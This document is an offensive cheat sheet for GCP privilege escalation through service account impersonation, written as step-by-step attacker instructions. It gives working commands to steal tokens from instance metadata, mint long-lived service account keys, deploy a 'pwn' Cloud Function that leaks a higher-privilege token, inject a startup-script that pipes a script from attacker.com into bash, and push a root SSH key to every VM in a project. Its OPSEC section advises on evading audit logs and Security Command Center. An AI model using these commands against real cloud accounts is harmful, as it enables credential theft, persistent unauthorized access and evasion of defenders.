GCP Service Account Impersonation
You have a GCP token (compromised VM metadata, leaked service account key, gcloud SDK). Find the impersonation chain to higher privilege.
Steal the token
From GCE / GKE / Cloud Run / Functions
TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
| jq -r .access_token)
# All service accounts on the VM:
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"
From a leaked key.json
gcloud auth activate-service-account --key-file=key.json
TOKEN=$(gcloud auth print-access-token)
Phase 1: Enumerate current permissions
# Which projects are you in?
curl -s -H "Authorization: Bearer $TOKEN" \
"https://cloudresourcemanager.googleapis.com/v1/projects" | jq -r '.projects[].projectId'
# What can you do in a project?
PROJECT=$(gcloud config get-value project)
gcloud projects test-iam-permissions "$PROJECT" \
--permissions=$(curl -s https://iam.googleapis.com/v1/permissions:queryTestablePermissions -X POST -H "Authorization: Bearer $TOKEN" -d "{\"fullResourceName\":\"//cloudresourcemanager.googleapis.com/projects/$PROJECT\"}" | jq -r '.permissions[].name' | tr '\n' ',' | sed 's/,$//')
# Or use the bucket-list shortcut (most SAs can list):
gcloud projects get-iam-policy "$PROJECT" --format=json | jq '.bindings[]'
Phase 2: Impersonation primitives
roles/iam.serviceAccountTokenCreator
If you have iam.serviceAccounts.getAccessToken on a higher-priv SA:
gcloud auth print-access-token --impersonate-service-account=highpriv@PROJECT.iam.gserviceaccount.com
# OR raw:
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"scope":["https://www.googleapis.com/auth/cloud-platform"]}' \
"https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/highpriv@PROJECT.iam.gserviceaccount.com:generateAccessToken" \
| jq -r .accessToken
iam.serviceAccountKeys.create
Mint a permanent JSON key for any SA you can act-on:
gcloud iam service-accounts keys create /tmp/k.json \
--iam-account=target@PROJECT.iam.gserviceaccount.com
# Long-lived credential — survives token rotation.
cloudfunctions.functions.update + actAs
Deploy a function that runs AS a more-priv SA:
mkdir fn && cat > fn/main.py <<'EOF'
def pwn(request):
import subprocess
out = subprocess.check_output("curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token", shell=True)
return out
EOF
echo "" > fn/requirements.txt
gcloud functions deploy pwn --source=fn --runtime=python311 --trigger-http --allow-unauthenticated \
--service-account=highpriv@PROJECT.iam.gserviceaccount.com --entry-point=pwn
# Then HTTP-call it to get the higher-priv token
compute.instances.setMetadata
Inject a startup-script that runs as the VM's SA on next boot:
gcloud compute instances add-metadata target-vm --zone=us-central1-a \
--metadata=startup-script='curl -fsSL https://attacker.com/x.sh | bash'
gcloud compute instances reset target-vm --zone=us-central1-a
compute.projects.setCommonInstanceMetadata
Project-wide metadata = SSH key on every VM in the project:
ssh-keygen -t ed25519 -f ./pwn -N ''
gcloud compute project-info add-metadata --metadata=ssh-keys="root:$(cat pwn.pub)"
Phase 3: Cross-project pivot
# If your token has `resourcemanager.organizations.get`, you can see the org tree
curl -s -H "Authorization: Bearer $TOKEN" \
"https://cloudresourcemanager.googleapis.com/v1/organizations" | jq .
# Find SAs with cross-project bindings
for p in $(gcloud projects list --format='value(projectId)'); do
echo "=== $p ==="
gcloud projects get-iam-policy "$p" --format=json | jq -r '.bindings[] | "\(.role): \(.members | join(","))"'
done
OPSEC
- Every IAM call logs to Cloud Audit Logs. SetMetadata + Reset is loud — prefer ImpersonateSA when possible.
- Token TTL 60min. Refresh from the same IMDS endpoint (no log) vs. requesting a new SA token (logged).
- Key creation creates a Cloud Audit
google.iam.admin.v1.CreateServiceAccountKeyevent — high-fidelity detection. - GCP Security Command Center flags startup-script changes — for evasion, set metadata on a service NOT under SCC monitoring.
References
- gcp_enum / GCP IAM Privilege Escalation by RhinoSecurityLabs
- "Big GCP IAM Privilege Escalation List" — Praetorian
- DEFCON 27 "Privilege Escalation in GCP" — Spencer Gietzen